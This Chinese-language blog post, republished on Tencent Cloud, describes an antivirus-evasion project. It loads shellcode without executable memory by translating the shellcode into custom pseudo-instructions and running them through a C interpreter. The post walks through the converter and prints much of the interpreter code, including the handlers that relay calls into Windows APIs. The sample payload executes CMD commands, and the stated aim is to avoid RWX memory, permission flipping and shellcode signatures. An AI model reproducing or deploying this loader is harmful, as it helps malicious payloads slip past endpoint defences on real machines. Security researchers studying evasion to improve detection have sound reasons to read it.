前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【免杀对抗】无可执行权限加载ShellCode

【免杀对抗】无可执行权限加载ShellCode

作者头像
Al1ex
发布2024-08-20 21:28:11
1070
发布2024-08-20 21:28:11
举报
文章被收录于专栏:网络安全攻防

项目介绍

这是一个免杀项目,与PWN无关!

无需解密,无需X内存,直接加载运行R内存中的ShellCode密文。

x64项目: https://github.com/HackerCalico/No_X_Memory_ShellCode_Loader

规避了以下特征:

(1) 申请 RWX 属性的内存

(2) 来回修改 W 和 X 的内存属性

(3) 内存中出现 ShellCode 特征码

技术原理

加载流程:

(1) 正常生成 ShellCode 机器码

(2) ShellCode --- 转换器 ---> 自定义汇编指令

(3) 解释器 运行 自定义汇编指令

项目介绍

ShellCode:多种 ShellCode 源码

Converter:自定义汇编指令转换器

代码语言:javascript
复制
pip install capstone

Loader:ShellCode 加载器 (自定义汇编指令解释器)

GenerateAsmInstruction:用于生成 Loader\AsmInstruction.asm 函数汇编指令

转换器使用与实现

为了减轻解释器的压力,我们的自定义汇编指令一定要设计成容易解释的格式。

下面对本项目提供的 CMD 命令执行 ShellCode 案例进行讲解:

(1) 生成原始汇编指令

将 ShellCode 机器码 (ShellCode.txt) 转为原始汇编指令 (asm.txt)

该功能简单利用 capstone 库实现

代码语言:javascript
复制
> python Converter.py
1.反汇编
2.Imul转换
3.生成自定义汇编指令
选择: 1
ShellCode使用的汇编指令: {'lea', 'cdqe', ......, 'repStosb'}
汇编指令生成完毕: asm.txt

asm.txt:

代码语言:javascript
复制
0x0_mov_qword ptr [rsp + 0x20], r9
0x5_mov_qword ptr [rsp + 0x18], r8
0xa_mov_dword ptr [rsp + 0x10], edx
......

(2) 修改 asm.txt

考虑到原始汇编指令可能存在一些特殊情况,需要进行修改。所以我将转换过程分为了先转为原始汇编指令,再转为自定义汇编指令两个阶段。

观察原始汇编指令,可以发现存在 imul 指令,并且全部为 imul a, a, b 的格式。我们直接把它们全部转为 imul a, b 的格式方便处理。

代码语言:javascript
复制
> python Converter.py
1.反汇编
2.Imul转换
3.生成自定义汇编指令
选择: 2
已将 asm.txt 中的 imul a, a, b 全部转换为 imul a, b

(3) 生成自定义汇编指令

将 asm.txt 中的原始汇编指令转为自定义汇编指令。

代码语言:javascript
复制
> python Converter.py
1.反汇编
2.Imul转换
3.生成自定义汇编指令
选择: 3
0_4_q_pq70+i20_q_q38_......2ed_3_q__q__!

PVOID mnemonicMap[] = { Push, Pop, ......, Jle };

0_4_q_pq70+i20_q_q38 为第一条自定义汇编指令,! 为整个自定义汇编指令的结束标志。

第一条的原始汇编指令:0x00 mov qword ptr [rsp + 0x20], r9

指令地址:0x00 ------> 0

在处理 Jcc 跳转指令时需要使用,去掉 0x 减短长度。

助记符:mov ------> 4

4 为 mov 在 mnemonicMap 中的下标。

解释器逐条指令执行,通过下标获取 mnemonicMap 中当前指令的处理函数指针,进行反射调用。避免了解释器代码中出现大量 if else 或 switch case。

操作数1:qword ptr [rsp + 0x20] ------> q_pq70+i20

q 表示 QWORD,p 表示 ptr。

q70 表示 vtRSP。在解释器中通过 vtRegs 数组存储虚拟寄存器的值,70 是 vtRSP 相对 vtRegs 基址的偏移,直接通过地址操作寄存器的值。避免了解释器代码中出现大量不同位数的寄存器的定义,以及繁琐操作。

i20 表示立即数 0x20。

操作数2:r9 ------> q_q38

q 表示 QWORD。

q38 表示 R9,同理偏移。

解释器实现

(1) 创建虚拟栈和虚拟寄存器

代码语言:javascript
复制
PVOID vtStack = malloc(0x10000);

DWORD_PTR vtRegs[18] = { 0 };
vtRegs[14] = vtRegs[15] = (DWORD_PTR)vtStack + 0x9000;

14 和 15 分别对应 vtRSP 和 vtRBP。

(2) 设置虚拟寄存器的初值

因为解释器是从 ShellCode 函数的开头进行模拟的,所以在模拟开始之前,要先在虚拟空间中构建出 ShellCode 函数的参数。

本项目提供的 CMD 命令执行 ShellCode 函数通过以下代码调用:

代码语言:javascript
复制
ExecuteCmd(commandPara, commandParaLength, &outputData, &outputDataLength, funcAddr);

该行代码对应的汇编指令:

代码语言:javascript
复制
lea rax, [funcAddr]
mov qword ptr [rsp+20h], rax
lea r9, [outputDataLength]
lea r8, [outputData]
mov edx, dword ptr [commandParaLength]
lea rcx, [commandPara]
call ExecuteCmd

所以要通过以下代码在虚拟空间中构建出函数参数:

代码语言:javascript
复制
vtRegs[0] = (DWORD_PTR)pFuncAddr;
*(PDWORD_PTR)(vtRegs[14] + 0x20) = vtRegs[0];
vtRegs[7] = (DWORD_PTR)pOutputDataLength;
vtRegs[6] = (DWORD_PTR)pOutputData;
vtRegs[3] = commandParaLength;
vtRegs[2] = (DWORD_PTR)commandPara;
vtRegs[14] = vtRegs[14] - sizeof(DWORD_PTR);

(3) 解析自定义汇编指令

根据 指令地址_助记符_位数1_操作数1_位数2_操作数2 的格式将每条指令的元素解析出来。

通过 GetOpTypeAndAddr 函数获取每个操作数的类型和地址,每种指令的处理函数会直接通过操作数的地址对其值进行操作,非常方便。

如果操作数是立即数,例如 i12 (0x12)。则直接通过 strtol 函数将 12 字符串转为数字,该数字的地址即为该操作数的地址。

如果操作数是 lea 的第二个操作数或内存空间,例如 lq70+i20 ([rsp + 0x20]) 或 pq70+i20 (ptr [rsp + 0x20])。则先解析其子元素进行计算,计算结果保存到 number1。如果操作数是 lea 的第二个操作数,则 number1 的地址即为该操作数的地址。如果操作数是内存空间,则 number1 的值即为该操作数的地址。

如果操作数是寄存器,例如 q70 (rsp)。70 是 vtRSP 相对 vtRegs 基址的偏移,则 vtRegs 基址 + 70 即为该操作数的地址。

代码语言:javascript
复制
// 获取操作数值的 类型(r寄存器/m内存空间) + 地址
DWORD_PTR GetOpTypeAndAddr(char* op, char* pOpType1, PDWORD_PTR pVtRegs, PDWORD_PTR opNumber) {
    ......
    // 立即数
    if (op[0] == 'i') {
        *opNumber = strtol(op + 1, &endPtr, 16);
        return (DWORD_PTR)opNumber;
    }
    // lea [] / ptr []
    else if (op[0] == 'l' || op[0] == 'p') {
        ......
        // 解析算式 (未考虑“*”)
        ParseFormula(op + 1, formula, symbols);
        // 计算 (未考虑“*”)
        DWORD_PTR number1 = 0;
        ......
        // lea []
        if (op[0] == 'l') {
            *opNumber = number1;
            return (DWORD_PTR)opNumber;
        }
        // ptr []
        if (pOpType1 != NULL) {
            *pOpType1 = 'm';
        }
        return number1;
    }
    // 寄存器
    else {
        if (pOpType1 != NULL) {
            *pOpType1 = 'r';
        }
        return (DWORD_PTR)pVtRegs + strtol(op + 1, &endPtr, 16);
    }
}

(4) 调用对应指令的处理函数

通过解析得到的当前指令的下标获取当前指令的处理函数指针

代码语言:javascript
复制
PVOID mnemonicMap[] = { Push, Pop, ......, AsmJle };
PVOID instructionFunc = mnemonicMap[mnemonicIndex];

下面举几种指令的处理函数的例子:

Mov 指令

代码语言:javascript
复制
// 其他两个操作数的指令
else {
    ((void(*)(...))instructionFunc)(opType1, opBit1, opAddr1, opBit2, opAddr2);
}
代码语言:javascript
复制
void Mov(char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2) {
    switch (opBit1)
    {
    case 'q':
        *(PDWORD64)opAddr1 = *(PDWORD64)opAddr2;
        break;
    case 'd':
        if (opType1 == 'r') {
            *(PDWORD_PTR)opAddr1 = *(PDWORD)opAddr2;
        }
        else {
            *(PDWORD)opAddr1 = *(PDWORD)opAddr2;
        }
        break;
    case 'w':
        *(PWORD)opAddr1 = *(PWORD)opAddr2;
        break;
    case 'b':
        *(PBYTE)opAddr1 = *(PBYTE)opAddr2;
        break;
    }
}

case 'd' 表示 操作数1 为 DWORD,在 操作数1 类型为 DWORD 寄存器时存在特殊情况。

特殊情况通过下例来解释:

代码语言:javascript
复制
mov rax, 0x1234567812345678
mov eax, 0x11111111

运行后 rax 为 0x0000000011111111。

Cmp 指令

代码语言:javascript
复制
else if (instructionFunc == AsmCmp || instructionFunc == AsmTest) {
     ((void(*)(...))instructionFunc)(opBit1, opAddr1, opAddr2, pVtRegs);
}

将两个操作数的值赋值到 r10 和 r11,计算完成后将标志寄存器的值赋值到 vtEFL

代码语言:javascript
复制
void AsmCmp(char opBit1, DWORD_PTR opAddr1, DWORD_PTR opAddr2, PDWORD_PTR pVtRegs) {
    __asm {
        mov r8, qword ptr[opAddr1]
        mov r9, qword ptr[opAddr2]
        mov r10, qword ptr[r8]
        mov r11, qword ptr[r9]
    }
    DWORD_PTR vtEFL;
    switch (opBit1)
    {
    case 'q':
        __asm {
            cmp r10, r11
            pushf
            pop rax
            mov vtEFL, rax
        }
        break;
    ......
    }
    pVtRegs[17] = vtEFL;
}

Jcc 指令

传入具体的 Jcc 指令的处理函数指针

代码语言:javascript
复制
Jcc(instructionFunc, opAddr1, pVtRegs);

通过具体的 Jcc 指令的处理函数判断是否跳转。如果跳转,则将 操作数1 的值赋值给 vtRIP

代码语言:javascript
复制
void Jcc(PVOID instructionFunc, DWORD_PTR opAddr1, PDWORD_PTR pVtRegs) {
    DWORD_PTR vtEFL = pVtRegs[17];
    int isJmp = ((int(*)(...))instructionFunc)(vtEFL);
    if (isJmp) {
        DWORD_PTR vtRIP = *(PDWORD_PTR)opAddr1;
        pVtRegs[16] = vtRIP;
    }
}

Je 指令

作为具体的 Jcc 指令的处理函数,先将 vtEFL 的值赋值到标志寄存器,再判断是否跳转

代码语言:javascript
复制
int AsmJe(DWORD_PTR vtEFL) {
    int isJmp = 1;
    __asm {
        mov rax, vtEFL
        push rax
        popf
        je jmp
        mov isJmp, 0x00
        jmp :
    }
    return isJmp;
}

Call 指令

其实现是所有指令中最复杂的,因为涉及到 Windows API 的调用。

首先保存真实栈顶栈底,最后还原真实栈顶栈底,保证解释器能正常运行。

调用 Windows API 之前,要先将虚拟寄存器的值覆盖真实寄存器的值,相当于构造好 Windows API 的参数。

调用完 Windows API 之后,要将真实寄存器的值覆盖虚拟寄存器的值。

代码语言:javascript
复制
void AsmCall(DWORD_PTR opAddr1, PDWORD_PTR pVtRegs) {
    // 保存真实栈顶栈底
    DWORD_PTR realRSP;
    DWORD_PTR realRBP;
    __asm {
        mov realRSP, rsp
        mov realRBP, rbp
    }

    // Window API 地址
    DWORD_PTR winApiAddr = *(PDWORD_PTR)opAddr1;

    // 虚拟寄存器 覆盖 真实寄存器
    DWORD_PTR vtRAX = pVtRegs[0];
    ......
    DWORD_PTR vtRBP = pVtRegs[15];
    __asm {
        mov rax, vtRAX
        ......
        mov rsp, vtRSP
        // mov rbp, vtRBP (与 Call 冲突)
    }

    // 调用 Windows API
    __asm {
        call qword ptr[winApiAddr] // (call qword ptr [rbp])
    }

    // 保存调用 Windows API 后真实寄存器的值
    __asm {
        push rax
        ......
        push rbp
    }

    // 真实寄存器 覆盖 虚拟寄存器
    DWORD_PTR currentRSP;
    __asm {
        mov currentRSP, rsp;
    }
    pVtRegs[0] = *(PDWORD_PTR)(currentRSP + 0x78); // RAX
    ......
    pVtRegs[14] = *(PDWORD_PTR)(currentRSP + 0x08) + 0x70; // RSP
    pVtRegs[15] = *(PDWORD_PTR)(currentRSP + 0x00); // RBP

    // 还原真实栈顶栈底
    __asm {
        mov rsp, realRSP
        mov rbp, realRBP
    }
}

免责声明

由于传播、利用DecryptTools综合解密工具提供的功能而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本人不为此承担任何责任

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-08-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 转换器使用与实现
  • 解释器实现
  • 免责声明
相关产品与服务
对象存储
对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档